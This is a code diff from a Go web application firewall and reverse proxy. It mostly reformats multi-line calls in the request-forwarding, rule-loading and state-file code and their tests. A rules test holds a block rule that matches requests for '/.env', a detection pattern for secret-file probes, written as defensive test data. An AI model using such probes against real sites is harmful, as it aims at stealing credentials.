 		duration, ok := line["duration_response_ms"].(float64)
 		if !ok || duration < 0 {
-			t.Errorf(
+			t.Errorf("line %v, want a duration_response_ms that is not negative", line)
-				"line %v, want a duration_response_ms that is not negative",
-				line,
-			)
 		}
 	}
 }
@@ -965,16 +900,12 @@ func answeringWith(answer http.HandlerFunc) func(t *testing.T) string {
 func noAnswers() map[string]func(t *testing.T) string {
 	return map[string]func(t *testing.T) string{
 		"no connection": func(*testing.T) string { return nowhere },
-		"no answer at all": answeringWith(
+		"no answer at all": answeringWith(func(http.ResponseWriter, *http.Request) {
-			func(http.ResponseWriter, *http.Request) {
+			panic(http.ErrAbortHandler)
-				panic(http.ErrAbortHandler)
+		}),
-			},
+		"a slow start": answeringWith(func(_ http.ResponseWriter, r *http.Request) {
-		),
+			<-r.Context().Done()
-		"a slow start": answeringWith(
+		}),
-			func(_ http.ResponseWriter, r *http.Request) {
-				<-r.Context().Done()
-			},
-		),
 		"headers followed by a stalled body": answeringWith(
 			func(w http.ResponseWriter, r *http.Request) {
 				w.Header().Set(dispositionHeader, dispositionDeny)
@@ -1016,29 +947,21 @@ func TestAnAnswerOtherThanAllowGoesToTheVisitorAsWAFGaveIt(t *testing.T) {
 			t.Run(tc.name+" with the default "+setting, func(t *testing.T) {
 				t.Parallel()
 
-				standIn := startWAF(
+				standIn := startWAF(t, func(w http.ResponseWriter, _ *http.Request) {
-					t,
+					if tc.disposition != "" {
-					func(w http.ResponseWriter, _ *http.Request) {
+						w.Header().Set(dispositionHeader, tc.disposition)
-						if tc.disposition != "" {
+					}
-							w.Header().Set(dispositionHeader, tc.disposition)
-						}
 
-						w.Header().Set(fromWAFHeader, addedHeaderValue)
+					w.Header().Set(fromWAFHeader, addedHeaderValue)
-						w.WriteHeader(tc.status)
+					w.WriteHeader(tc.status)
-						_, _ = io.WriteString(w, tc.body)
+					_, _ = io.WriteString(w, tc.body)
-					},
+				})
-				)
 				app := startApp(t, func(http.ResponseWriter, *http.Request) {
 					t.Error("the app was asked")
 				})
-				addr, out := startRProxy(
+				addr, out := startRProxy(t, standIn.URL, app.URL, map[string]string{
-					t,
+					defaultDisposition: setting,
-					standIn.URL,
+				})
-					app.URL,
-					map[string]string{
-						defaultDisposition: setting,
-					},
-				)
 
 				got := get(t, addr, "/")
 				if got.status != tc.status || got.body != tc.body ||
@@ -1051,13 +974,8 @@ func TestAnAnswerOtherThanAllowGoesToTheVisitorAsWAFGaveIt(t *testing.T) {
 				}
 
 				line := out.requestLine(t)
-				if line["status"] != float64(tc.status) ||
+				if line["status"] != float64(tc.status) || line["default_disposition"] != nil {
-					line["default_disposition"] != nil {
+					t.Errorf("line %v, want status %d and no default", line, tc.status)
-					t.Errorf(
-						"line %v, want status %d and no default",
-						line,
-						tc.status,
-					)
 				}
 
 				if out.has("waf gave no answer") {
@@ -1118,8 +1036,7 @@ func TestAnAnswerOf1MiBGoesToTheVisitor(t *testing.T) {
 	})
 
 	got := get(t, addr, "/")
-	if got.status != http.StatusInternalServerError ||
+	if got.status != http.StatusInternalServerError || len(got.body) != size {
-		len(got.body) != size {
 		t.Errorf("answered %d with %d bytes, want waf's 500 with %d",
 			got.status, len(got.body), size)
 	}
@@ -1131,11 +1048,7 @@ func TestAnAnswerOf1MiBGoesToTheVisitor(t *testing.T) {
 func startWAFWriting(t *testing.T, text string) string {
 	t.Helper()
 
-	listener, err := (&net.ListenConfig{}).Listen(
+	listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
-		t.Context(),
-		"tcp",
-		localhost+":0",
-	)
 	if err != nil {
 		t.Fatalf("listen: %v", err)
 	}
@@ -1213,15 +1126,10 @@ func TestAnAnswerThatCannotBePassedOnIsAnswered502(t *testing.T) {
 				app := startApp(t, func(http.ResponseWriter, *http.Request) {
 					t.Error("the app was asked")
 				})
-				addr, out := startRProxy(
+				addr, out := startRProxy(t, backend(t), app.URL, map[string]string{
-					t,
+					timeoutSetting:     "60000",
-					backend(t),
+					defaultDisposition: setting,
-					app.URL,
+				})
-					map[string]string{
-						timeoutSetting:     "60000",
-						defaultDisposition: setting,
-					},
-				)
 
 				if got := get(t, addr, "/"); got.status != http.StatusBadGateway {
 					t.Errorf("answered %+v, want 502", got)
@@ -1230,10 +1138,7 @@ func TestAnAnswerThatCannotBePassedOnIsAnswered502(t *testing.T) {
 				line := out.requestLine(t)
 				if line["status"] != float64(http.StatusBadGateway) ||
 					line["disposition"] != nil || line["default_disposition"] != nil {
-					t.Errorf(
+					t.Errorf("line %v, want status 502 and no disposition", line)
-						"line %v, want status 502 and no disposition",
-						line,
-					)
 				}
 
 				out.waitFor(t, "waf's answer is dropped")
@@ -1266,14 +1171,9 @@ func TestWithoutAnAnswerTheDefaultDispositionDecides(t *testing.T) {
 			t.Parallel()
 
 			app := startApp(t, greet)
-			addr, out := startRProxy(
+			addr, out := startRProxy(t, backend(t), app.URL, map[string]string{
-				t,
+				timeoutSetting: "200",
-				backend(t),
+			})
-				app.URL,
-				map[string]string{
-					timeoutSetting: "200",
-				},
-			)
 
 			wantGreeting(t, get(t, addr, "/"))
 
@@ -1290,15 +1190,10 @@ func TestWithoutAnAnswerTheDefaultDispositionDecides(t *testing.T) {
 			app := startApp(t, func(http.ResponseWriter, *http.Request) {
 				t.Error("the app was asked")
 			})
-			addr, out := startRProxy(
+			addr, out := startRProxy(t, backend(t), app.URL, map[string]string{
-				t,
+				timeoutSetting:     "200",
-				backend(t),
+				defaultDisposition: dispositionDeny,
-				app.URL,
+			})
-				map[string]string{
-					timeoutSetting:     "200",
-					defaultDisposition: dispositionDeny,
-				},
-			)
 
 			got := get(t, addr, "/")
 			if got.status != http.StatusServiceUnavailable {
@@ -1321,24 +1216,16 @@ func TestAVisitorThatGoesAwayWhileWAFIsAskedGetsNoDefault(t *testing.T) {
 		t.Run("with the default "+disposition, func(t *testing.T) {
 			t.Parallel()
 
-			standIn := startWAF(
+			standIn := startWAF(t, func(_ http.ResponseWriter, r *http.Request) {
-				t,
+				<-r.Context().Done()
-				func(_ http.ResponseWriter, r *http.Request) {
+			})
-					<-r.Context().Done()
-				},
-			)
 			app := startApp(t, func(http.ResponseWriter, *http.Request) {
 				t.Error("the app was asked")
 			})
-			addr, out := startRProxy(
+			addr, out := startRProxy(t, standIn.URL, app.URL, map[string]string{
-				t,
+				timeoutSetting:     "60000",
-				standIn.URL,
+				defaultDisposition: disposition,
-				app.URL,
+			})
-				map[string]string{
-					timeoutSetting:     "60000",
-					defaultDisposition: disposition,
-				},
-			)
 
 			conn := dial(t, addr)
 			send(t, conn, "GET / HTTP/1.1\r\nHost: site.example\r\n\r\n")
@@ -1556,21 +1443,12 @@ func TestReportGivesWhatHappened(t *testing.T) {
 		report.ResponseBytes != int64(len(greeting)) ||
 		report.DurationTotalMS <= 0 || report.DurationUpstreamTotalMS <= 0 ||
 		report.DurationUpstreamTotalMS > report.DurationTotalMS {
-		t.Errorf(
+		t.Errorf("report %+v, of %d bytes up and %d back", report, len(body), len(greeting))
-			"report %+v, of %d bytes up and %d back",
-			report,
-			len(body),
-			len(greeting),
-		)
 	}
 
 	line := out.requestLine(t)
 	if line["request_id"] != report.RequestID {
-		t.Errorf(
+		t.Errorf("line %v, report %+v, want the same request id", line, report)
-			"line %v, report %+v, want the same request id",
-			line,
-			report,
-		)
 	}
 }
 
@@ -1599,14 +1477,9 @@ func TestWaitForReportsWaitsForAReportBeingSent(t *testing.T) {
 	t.Cleanup(backend.Close)
 
 	app := startApp(t, greet)
-	addr, _, server := startServer(
+	addr, _, server := startServer(t, backend.URL, app.URL, map[string]string{
-		t,
+		timeoutSetting: "5000",
-		backend.URL,
+	})
-		app.URL,
-		map[string]string{
-			timeoutSetting: "5000",
-		},
-	)
 
 	wantGreeting(t, get(t, addr, "/"))
 
@@ -1662,11 +1535,7 @@ func TestReportOfAWebSocketCountsWhatItCarried(t *testing.T) {
 	_ = res.Body.Close()
 
 	if res.StatusCode != http.StatusSwitchingProtocols {
-		t.Fatalf(
+		t.Fatalf("status %d, want %d", res.StatusCode, http.StatusSwitchingProtocols)
-			"status %d, want %d",
-			res.StatusCode,
-			http.StatusSwitchingProtocols,
-		)
 	}
 
 	// Past both time limits, the connection still carries what is sent.
@@ -1690,9 +1559,7 @@ func TestReportOfAWebSocketCountsWhatItCarried(t *testing.T) {
 		t.Errorf("report %+v, of %d bytes each way", report, len(message))
 	}
 
-	if line := out.requestLine(t); line["status"] != float64(
+	if line := out.requestLine(t); line["status"] != float64(res.StatusCode) {
-		res.StatusCode,
-	) {
 		t.Errorf("line %v, want status 101", line)
 	}
 }
@@ -1847,8 +1714,7 @@ func TestEachRequestGetsAFreshID(t *testing.T) {
 		ids = append(ids, standIn.question(t).header.Get(requestIDHeader))
 	}
 
-	if slices.Contains(ids, fromTraefik) || ids[0] == "" ||
+	if slices.Contains(ids, fromTraefik) || ids[0] == "" || ids[0] == ids[1] {
-		ids[0] == ids[1] {
 		t.Errorf("ids %v, want two fresh ones", ids)
 	}
 }
@@ -1866,13 +1732,7 @@ func TestLogLineGivesTheRequestAsSent(t *testing.T) {
 	app := startApp(t, greet)
 	addr, out := startRProxy(t, standIn.URL, app.URL, nil)
 
-	req := newRequest(
+	req := newRequest(t, http.MethodPost, addr, path+"?"+query, strings.NewReader(body))
-		t,
-		http.MethodPost,
-		addr,
-		path+"?"+query,
-		strings.NewReader(body),
-	)
 	req.Host = site
 	wantGreeting(t, visit(t, req))
 
@@ -1898,10 +1758,7 @@ func TestLogLineGivesTheRequestAsSent(t *testing.T) {
 	}
 
 	if line["default_disposition"] != nil {
-		t.Errorf(
+		t.Errorf("default_disposition is %v, want it left out", line["default_disposition"])
-			"default_disposition is %v, want it left out",
-			line["default_disposition"],
-		)
 	}
 
 	for _, name := range []string{"duration_request_ms", "duration_response_ms"} {

internal/rproxy/waf.go

@@ -23,9 +23,7 @@ const answerBodyMaxBytes = 1 << 20
 const reportAnswerMaxBytes = 4 << 10
 
 var (
-	errCannotPassOn = errors.New(
+	errCannotPassOn  = errors.New("the answer cannot be passed to the visitor")
-		"the answer cannot be passed to the visitor",
-	)
 	errReportRefused = errors.New("the report was answered")
 )
 
@@ -110,11 +108,7 @@ func (rq *request) ask(ctx context.Context) (*wafAnswer, error) {
 	// a read of that. Go's client also takes a status below 100, which Go's server
 	// panics when asked to send.
 	if res.StatusCode < http.StatusOK {
-		return nil, fmt.Errorf(
+		return nil, fmt.Errorf("%w: its status is %d", errCannotPassOn, res.StatusCode)
-			"%w: its status is %d",
-			errCannotPassOn,
-			res.StatusCode,
-		)
 	}
 
 	body, err := io.ReadAll(io.LimitReader(res.Body, answerBodyMaxBytes+1))
@@ -139,14 +133,10 @@ func (rq *request) ask(ctx context.Context) (*wafAnswer, error) {
 //     waf.
 func canBeAsked(r *http.Request) bool {
 	target, host := r.RequestURI, r.Host
-	hostHasZone := strings.HasPrefix(host, "[") &&
+	hostHasZone := strings.HasPrefix(host, "[") && strings.Contains(host, "%")
-		strings.Contains(host, "%")
 
-	return strings.HasPrefix(target, "/") &&
+	return strings.HasPrefix(target, "/") && !strings.HasPrefix(target, "//") &&
-		!strings.HasPrefix(target, "//") &&
+		host != "" && !hostHasZone && len(r.Header.Values("User-Agent")) <= 1
-		host != "" &&
-		!hostHasZone &&
-		len(r.Header.Values("User-Agent")) <= 1
 }
 
 // newQuestion returns the question about the request, as "The question" in
@@ -161,11 +151,7 @@ func (rq *request) newQuestion(ctx context.Context) (*http.Request, error) {
 	}
 
 	question, err := http.NewRequestWithContext( //nolint:gosec // a setting's URL
-		ctx,
+		ctx, in.Method, rq.h.config.WAFBackend.String(), bytes.NewReader(held))
-		in.Method,
-		rq.h.config.WAFBackend.String(),
-		bytes.NewReader(held),
-	)
 	if err != nil {
 		return nil, fmt.Errorf("make the question: %w", err)
 	}
@@ -268,10 +254,7 @@ func (h *handler) postReport(ctx context.Context, report *waf.Report) error {
 	// The body of a 101 is the connection itself, and the time limit does not end
 	// a read of that.
 	if res.StatusCode >= http.StatusOK {
-		_, _ = io.Copy(
+		_, _ = io.Copy(io.Discard, io.LimitReader(res.Body, reportAnswerMaxBytes))
-			io.Discard,
-			io.LimitReader(res.Body, reportAnswerMaxBytes),
-		)
 	}
 
 	_ = res.Body.Close()

internal/rules/rules.go

@@ -63,9 +63,7 @@ const escapeLength = 3
 var (
 	// ruleLine is a rule: four fields separated by spaces or tabs, of
 	// which the fourth, the regex, runs to the end of the line.
-	ruleLine = regexp.MustCompile(
+	ruleLine = regexp.MustCompile(`^([^ \t]+)[ \t]+([^ \t]+)[ \t]+([^ \t]+)[ \t]+(.+)$`)
-		`^([^ \t]+)[ \t]+([^ \t]+)[ \t]+([^ \t]+)[ \t]+(.+)$`,
-	)
 	// idChars are the characters of a rule's id.
 	idChars = regexp.MustCompile(`^[A-Za-z0-9_-]+$`)
 )
@@ -76,8 +74,7 @@ var (
 			"separated by spaces or tabs")
 	errNotID     = errors.New("is not an id of letters, digits, - and _")
 	errNotTarget = errors.New(
-		"is not path, query, uri, method, host, user_agent, referer or header:<Name>",
+		"is not path, query, uri, method, host, user_agent, referer or header:<Name>")
-	)
 	errNotHeaderName = errors.New(
 		"has a character after header: that no header name can have")
 	errHeaderTakenOut = errors.New(
@@ -284,8 +281,7 @@ func read(dir string) ([]Rule, string, error) {
 
 	for _, entry := range entries {
 		name := entry.Name()
-		if entry.IsDir() || strings.HasPrefix(name, ".") ||
+		if entry.IsDir() || strings.HasPrefix(name, ".") || filepath.Ext(name) != extension {
-			filepath.Ext(name) != extension {
 			continue
 		}
 
@@ -302,13 +298,8 @@ func read(dir string) ([]Rule, string, error) {
 
 // readFile appends the rules of the rule file at path to rules. places
 // are where each id read so far is, and gain those of the file.
-func readFile(
+func readFile(path string, rules []Rule, places map[string]string) ([]Rule, error) {
-	path string,
+	data, err := os.ReadFile(path) //nolint:gosec // a rule file, in SWW_RULES_DIR
-	rules []Rule,
-	places map[string]string,
-) ([]Rule, error) {
-	//nolint:gosec // a rule file, in SWW_RULES_DIR
-	data, err := os.ReadFile(path)
 	if err != nil {
 		return nil, err
 	}
@@ -332,13 +323,7 @@ func readFile(
 
 		first, used := places[rule.ID]
 		if used {
-			return nil, fmt.Errorf(
+			return nil, fmt.Errorf("%s: the id %q %w %s", place, rule.ID, errUsedTwice, first)
-				"%s: the id %q %w %s",
-				place,
-				rule.ID,
-				errUsedTwice,
-				first,
-			)
 		}
 
 		places[rule.ID] = place
@@ -370,42 +355,22 @@ func parse(line string) (Rule, bool, error) {
 	case !idChars.MatchString(rule.ID):
 		return Rule{}, false, fmt.Errorf("the id %q %w", rule.ID, errNotID)
 	case !isTarget(rule.Target):
-		return Rule{}, false, fmt.Errorf(
+		return Rule{}, false, fmt.Errorf("the target %q %w", rule.Target, errNotTarget)
-			"the target %q %w",
-			rule.Target,
-			errNotTarget,
-		)
 	case isHeader && !config.IsHeaderName(headerName):
-		return Rule{}, false, fmt.Errorf(
+		return Rule{}, false, fmt.Errorf("the target %q %w", rule.Target, errNotHeaderName)
-			"the target %q %w",
-			rule.Target,
-			errNotHeaderName,
-		)
 	case strings.EqualFold(rule.Target, headerTarget+"Host"):
 		return Rule{}, false, fmt.Errorf(
 			"the target %q %w; the request's host is the target host",
 			rule.Target, errHeaderTakenOut)
 	case strings.EqualFold(rule.Target, headerTarget+"Transfer-Encoding"):
-		return Rule{}, false, fmt.Errorf(
+		return Rule{}, false, fmt.Errorf("the target %q %w", rule.Target, errHeaderTakenOut)
-			"the target %q %w",
-			rule.Target,
-			errHeaderTakenOut,
-		)
 	case !slices.Contains([]string{ActionLog, ActionBlock, ActionBan}, rule.Action):
-		return Rule{}, false, fmt.Errorf(
+		return Rule{}, false, fmt.Errorf("the action %q %w", rule.Action, errNotAction)
-			"the action %q %w",
-			rule.Action,
-			errNotAction,
-		)
 	}
 
 	regex, err := regexp.Compile(fields[4])
 	if err != nil {
-		return Rule{}, false, fmt.Errorf(
+		return Rule{}, false, fmt.Errorf("the regex %w: %w", errNotRegex, err)
-			"the regex %w: %w",
-			errNotRegex,
-			err,
-		)
 	}
 
 	rule.regex = regex
@@ -416,13 +381,7 @@ func parse(line string) (Rule, bool, error) {
 // isTarget reports whether target is one a rule may have.
 func isTarget(target string) bool {
 	switch target {
-	case pathTarget,
+	case pathTarget, "query", uriTarget, "method", "host", "user_agent", "referer":
-		"query",
-		uriTarget,
-		"method",
-		"host",
-		"user_agent",
-		"referer":
 		return true
 	}
 
@@ -438,8 +397,7 @@ func (rule Rule) matches(r *http.Request) bool {
 	target := value(rule.Target, r)
 
 	if rule.Target == pathTarget || rule.Target == uriTarget {
-		return rule.regex.MatchString(target) ||
+		return rule.regex.MatchString(target) || rule.regex.MatchString(DecodeOnce(target))
-			rule.regex.MatchString(DecodeOnce(target))
 	}
 
 	return rule.regex.MatchString(target)

internal/rules/rules_test.go

@@ -94,13 +94,7 @@ func TestEachTargetMatchesWhatItNames(t *testing.T) {
 
 			got := len(files.Match(r)) == 1
 			if got != tc.want {
-				t.Errorf(
+				t.Errorf("%s matches %s: %t, want %t", tc.rule, tc.uri, got, tc.want)
-					"%s matches %s: %t, want %t",
-					tc.rule,
-					tc.uri,
-					got,
-					tc.want,
-				)
 			}
 		})
 	}
@@ -129,12 +123,7 @@ func TestPathMatchedAsTheClientSentIt(t *testing.T) {
 		for _, target := range []string{
 			tc.sent, "http://app.example" + tc.sent, "http:" + tc.sent, "foo:" + tc.sent,
 		} {
-			r := httptest.NewRequestWithContext(
+			r := httptest.NewRequestWithContext(t.Context(), http.MethodGet, target, nil)
-				t.Context(),
-				http.MethodGet,
-				target,
-				nil,
-			)
 			wantMatched(t, files, r, "as-sent")
 		}
 	}
@@ -157,20 +146,14 @@ after          path  log    ^/
 	wantMatched(t, files, get(t, "/page"), "every-path", "after")
 
 	// A ban rule ends it too.
-	files = load(
+	files = load(t, ruleFiles{testFile: "ban path ban ^/\nlater path block ^/\n"})
-		t,
-		ruleFiles{testFile: "ban path ban ^/\nlater path block ^/\n"},
-	)
 	wantMatched(t, files, get(t, "/"), "ban")
 }
 
 func TestSpacesAndTabsEndingALineAreNotPartOfItsRegex(t *testing.T) {
 	t.Parallel()
 
-	files := load(
+	files := load(t, ruleFiles{testFile: "env-file path block ^/\\.env$ \t \n"})
-		t,
-		ruleFiles{testFile: "env-file path block ^/\\.env$ \t \n"},
-	)
 
 	wantMatched(t, files, get(t, "/.env"), "env-file")
 }
@@ -201,10 +184,7 @@ func TestFileWhoseNameStartsWithADotIsNotARuleFile(t *testing.T) {
 
 	// The lock file Emacs makes beside a file while it is edited: a link to
 	// nothing, which cannot be read.
-	err := os.Symlink(
+	err := os.Symlink("user@host.1234:1700000000", filepath.Join(dir, ".#"+firstFile))
-		"user@host.1234:1700000000",
-		filepath.Join(dir, ".#"+firstFile),
-	)
 	if err != nil {
 		t.Fatalf("symlink: %v", err)
 	}
@@ -296,8 +276,7 @@ func TestFaultStopsTheStartNamingTheFileAndLine(t *testing.T) {
 			dir := writeFiles(t, ruleFiles{"00-default.rules": tc.content})
 			path := filepath.Join(dir, "00-default.rules")
 
-			want := path + ", line " + strconv.Itoa(tc.line) + ": " + tc.want
+			wantRefused(t, dir, path+", line "+strconv.Itoa(tc.line)+": "+tc.want)
-			wantRefused(t, dir, want)
 		})
 	}
 }
@@ -310,12 +289,8 @@ func TestIDUsedTwiceStopsTheStartNamingBothPlaces(t *testing.T) {
 		"50-b.rules": "other path log ^/b\nprobe path ban ^/c\n",
 	})
 
-	wantRefused(
+	wantRefused(t, dir, filepath.Join(dir, "50-b.rules")+`, line 2: the id "probe" `+
-		t,
+		"is already the id of the rule at "+filepath.Join(dir, "00-a.rules")+", line 1")
-		dir,
-		filepath.Join(dir, "50-b.rules")+`, line 2: the id "probe" `+
-			"is already the id of the rule at "+filepath.Join(dir, "00-a.rules")+", line 1",
-	)
 }
 
 func TestDirectoryThatDoesNotExistStopsTheStart(t *testing.T) {
@@ -330,9 +305,7 @@ func TestDirectoryThatDoesNotExistStopsTheStart(t *testing.T) {
 func TestEmptyDirectoryLoadsNoRulesAndSaysSo(t *testing.T) {
 	t.Parallel()
 
-	params, lines := newParams(
+	params, lines := newParams(writeFiles(t, ruleFiles{"00-default.rules": "# none\n"}))
-		writeFiles(t, ruleFiles{"00-default.rules": "# none\n"}),
-	)
 
 	files, err := rules.Load(params)
 	if err != nil {
@@ -341,11 +314,7 @@ func TestEmptyDirectoryLoadsNoRulesAndSaysSo(t *testing.T) {
 
 	line := lines.waitFor(t, read)
 	if files.Len() != 0 || line["rules"] != 0.0 {
-		t.Errorf(
+		t.Errorf("%d rules loaded, and the log says %v, want none", files.Len(), line)
-			"%d rules loaded, and the log says %v, want none",
-			files.Len(),
-			line,
-		)
 	}
 }
 
@@ -406,12 +375,7 @@ func TestBrokenEditKeepsTheRulesAsTheyWere(t *testing.T) {
 
 	// The edit's second line has an unknown action, so the rules stay as
 	// they were, the first line's earlier version included.
-	save(
+	save(t, dir, firstFile, "first path block ^/edited\nsecond path bann ^/second\n")
-		t,
-		dir,
-		firstFile,
-		"first path block ^/edited\nsecond path bann ^/second\n",
-	)
 
 	line := lines.waitFor(t, hasError)
 	want := filepath.Join(dir, firstFile) +
@@ -429,11 +393,7 @@ func TestBrokenEditKeepsTheRulesAsTheyWere(t *testing.T) {
 		if len(waiting) != 1 || waiting[0].Event != alerts.EventFileError ||
 			waiting[0].Reason != hasError || waiting[0].Detail["error"] != want ||
 			waiting[0].Detail["file"] != filepath.Join(dir, firstFile) {
-			t.Errorf(
+			t.Errorf("alerts waiting %+v, want one file_error alert for %q", waiting, want)
-				"alerts waiting %+v, want one file_error alert for %q",
-				waiting,
-				want,
-			)
 		}
 	}
 	wantFileError()
@@ -442,16 +402,8 @@ func TestBrokenEditKeepsTheRulesAsTheyWere(t *testing.T) {
 	wantMatched(t, files, get(t, "/second"))
 
 	// Once mended, the file is read again, and raises no alert.
-	save(
+	save(t, dir, firstFile, "first path block ^/edited\nsecond path ban ^/second\n")
-		t,
+	lines.waitUntil(t, func() bool { return len(files.Match(get(t, "/second"))) == 1 })
-		dir,
-		firstFile,
-		"first path block ^/edited\nsecond path ban ^/second\n",
-	)
-	lines.waitUntil(
-		t,
-		func() bool { return len(files.Match(get(t, "/second"))) == 1 },
-	)
 	wantMatched(t, files, get(t, "/edited"), "first")
 	wantFileError()
 }
@@ -607,10 +559,7 @@ func load(t *testing.T, files ruleFiles) *rules.Files {
 // watch loads the rules in dir, runs their Watch until the test ends, and
 // waits until it watches the directory. It returns the alerts' queue as
 // well.
-func watch(
+func watch(t *testing.T, dir string) (*rules.Files, processLog, *alerts.Queue) {
-	t *testing.T,
-	dir string,
-) (*rules.Files, processLog, *alerts.Queue) {
 	t.Helper()
 
 	params, lines := newParams(dir)
@@ -662,31 +611,21 @@ func get(t *testing.T, target string) *http.Request {
 
 // wantRefusedBy checks that a GET request for target with the user agent
 // sent matches rule alone, and that rule refuses it.
-func wantRefusedBy(
+func wantRefusedBy(t *testing.T, files *rules.Files, target, sent, rule string) {
-	t *testing.T,
-	files *rules.Files,
-	target, sent, rule string,
-) {
 	t.Helper()
 
 	r := get(t, target)
 	r.Header.Set(userAgent, sent)
 
 	matched := files.Match(r)
-	if len(matched) != 1 || matched[0].ID != rule ||
+	if len(matched) != 1 || matched[0].ID != rule || matched[0].Action == rules.ActionLog {
-		matched[0].Action == rules.ActionLog {
 		t.Errorf("%s from %q matched %v, want %s alone, refusing it", target,
 			sent, ids(matched), rule)
 	}
 }
 
 // wantMatched checks the ids of the rules r matches, in order.
-func wantMatched(
+func wantMatched(t *testing.T, files *rules.Files, r *http.Request, want ...string) {
-	t *testing.T,
-	files *rules.Files,
-	r *http.Request,
-	want ...string,
-) {
 	t.Helper()
 
 	got := ids(files.Match(r))

internal/state/state.go

@@ -89,11 +89,7 @@ func fileNames() []string {
 // isCacheFile reports whether name is the name of a cache file.
 func isCacheFile(name string) bool {
 	switch name {
-	case lookupsJSON,
+	case lookupsJSON, listsJSON, dnsblJSON, abuseIPDBScoresJSON, routeWatchJSON:
-		listsJSON,
-		dnsblJSON,
-		abuseIPDBScoresJSON,
-		routeWatchJSON:
 		return true
 	default:
 		return false
@@ -107,14 +103,10 @@ var (
 	errCause       = errors.New("is not limit, attack, admin or crowdsec")
 	errExpires     = errors.New("is not after its start")
 	errDestination = errors.New("is not webhook, slack or ntfy")
-	errScope       = errors.New(
+	errScope       = errors.New("is not client, net, asn, total or watched_net")
-		"is not client, net, asn, total or watched_net",
+	errWaitingList = errors.New(`waiting is a list, but now lists the alerts by ` +
-	)
+		`destination: put the list under "webhook", as "waiting": {"webhook": [...]}, ` +
-	errWaitingList = errors.New(
+		`or remove the file`)
-		`waiting is a list, but now lists the alerts by ` +
-			`destination: put the list under "webhook", as "waiting": {"webhook": [...]}, ` +
-			`or remove the file`,
-	)
 )
 
 // Params are what Load needs.
@@ -291,23 +283,9 @@ func Load(params Params) (*Files, error) {
 	f.readCache(abuseIPDBScoresJSON)
 	f.readCache(routeWatchJSON)
 
-	params.ProcessLog.Info(
+	params.ProcessLog.Info("read the state and cache files", "directory", params.Dir,
-		"read the state and cache files",
+		"cache_directory", params.CacheDir, "bans", bansRead, "clients", clientsRead,
-		"directory",
+		"lookups", lookupsRead, "lists", listsRead, "alerts_waiting", alertsRead)
-		params.Dir,
-		"cache_directory",
-		params.CacheDir,
-		"bans",
-		bansRead,
-		"clients",
-		clientsRead,
-		"lookups",
-		lookupsRead,
-		"lists",
-		listsRead,
-		"alerts_waiting",
-		alertsRead,
-	)
 
 	return f, nil
 }
@@ -366,11 +344,8 @@ func (f *Files) WriteAll() error {
 func (f *Files) Watch(ctx context.Context) {
 	watcher, err := fsnotify.NewWatcher()
 	if err != nil {
-		f.params.ProcessLog.Error(
+		f.params.ProcessLog.Error("cannot watch the state and cache files for edits",
-			"cannot watch the state and cache files for edits",
+			"error", err.Error())
-			"error",
-			err.Error(),
-		)
 
 		return
 	}
@@ -420,11 +395,8 @@ func (f *Files) Watch(ctx context.Context) {
 				f.fileChanged(name)
 			}
 		case err = <-watcher.Errors:
-			f.params.ProcessLog.Warn(
+			f.params.ProcessLog.Warn("watching the state and cache files failed",
-				"watching the state and cache files failed",
+				"error", err.Error())
-				"error",
-				err.Error(),
-			)
 		}
 	}
 }
@@ -444,10 +416,7 @@ func (f *Files) logFailure(name string, err error) {
 			Event:  alerts.EventFileError,
 			Reason: failed,
 			Detail: map[string]any{
-				"file": filepath.Join(
+				"file": filepath.Join(f.dir(name), name), "error": err.Error(),
-					f.dir(name),
-					name,
-				), "error": err.Error(),
 			},
 		})
 		f.params.ProcessLog.Error(failed, "error", err.Error())
@@ -488,11 +457,7 @@ func (f *Files) takeInEdit(name string, data []byte) error {
 	// Counted before it is logged, so that the count is there once the
 	// log line is.
 	f.params.Metrics.StateFileEditTakenIn(name)
-	f.params.ProcessLog.Info(
+	f.params.ProcessLog.Info(tookIn, "file", filepath.Join(f.dir(name), name))
-		tookIn,
-		"file",
-		filepath.Join(f.dir(name), name),
-	)
 
 	return nil
 }
@@ -543,13 +508,8 @@ func (f *Files) readCache(name string) int {
 // start, unless it is nil.
 func (f *Files) logUnread(name string, err error) {
 	if err != nil {
-		f.params.ProcessLog.Warn(
+		f.params.ProcessLog.Warn("cannot read a cache file, so its cache starts empty",
-			"cannot read a cache file, so its cache starts empty",
+			"file", filepath.Join(f.dir(name), name), "error", err.Error())
-			"file",
-			filepath.Join(f.dir(name), name),
-			"error",
-			err.Error(),
-		)
 	}
 }
 
@@ -560,8 +520,7 @@ func (f *Files) logUnread(name string, err error) {
 func (f *Files) readChanged(name string) ([]byte, bool, error) {
 	path := filepath.Join(f.dir(name), name)
 
-	//nolint:gosec // a file in one of the two directories
+	data, err := os.ReadFile(path) //nolint:gosec // a file in one of the two directories
-	data, err := os.ReadFile(path)
 	if errors.Is(err, fs.ErrNotExist) {
 		return nil, false, nil
 	}
@@ -605,11 +564,7 @@ func (f *Files) takeIn(name string, data []byte, edit bool) (int, error) {
 
 // takeInState parses data, what the state file name, at path, holds, and
 // puts it in, as takeIn describes.
-func (f *Files) takeInState(
+func (f *Files) takeInState(name, path string, data []byte, edit bool) (int, error) {
-	name, path string,
-	data []byte,
-	edit bool,
-) (int, error) {
 	var entries int
 
 	switch name {
@@ -838,18 +793,9 @@ func (f *Files) setAside(name string, parseErr error) error {
 	f.params.Alerts.Raise(alerts.Alert{
 		Event:  alerts.EventFileError,
 		Reason: setAside,
-		Detail: map[string]any{
+		Detail: map[string]any{"file": path + ".bad", "error": parseErr.Error()},
-			"file":  path + ".bad",
-			"error": parseErr.Error(),
-		},
 	})
-	f.params.ProcessLog.Error(
+	f.params.ProcessLog.Error(setAside, "file", path+".bad", "error", parseErr.Error())
-		setAside,
-		"file",
-		path+".bad",
-		"error",
-		parseErr.Error(),
-	)
 	f.params.Metrics.StateFileEditSetAside(name)
 
 	return nil
@@ -868,9 +814,7 @@ func (f *Files) encode(name string) ([]byte, error) {
 	case lookupsJSON:
 		return encodeOnePerLine("lookups", f.params.GeoJS.Snapshot())
 	case listsJSON:
-		return encodeIndented(
+		return encodeIndented(listsFile{Version: version, Lists: f.params.Lists.Snapshot()})
-			listsFile{Version: version, Lists: f.params.Lists.Snapshot()},
-		)
 	case dnsblJSON:
 		return encodeOnePerLine("verdicts", f.params.DNSBL.Snapshot())
 	case abuseIPDBScoresJSON:
@@ -987,12 +931,7 @@ func (f *bansFile) check(data []byte) error {
 		case entry.Cause != "" && entry.Cause != bans.CauseLimit &&
 			entry.Cause != bans.CauseAttack && entry.Cause != bans.CauseAdmin &&
 			entry.Cause != bans.CauseCrowdSec:
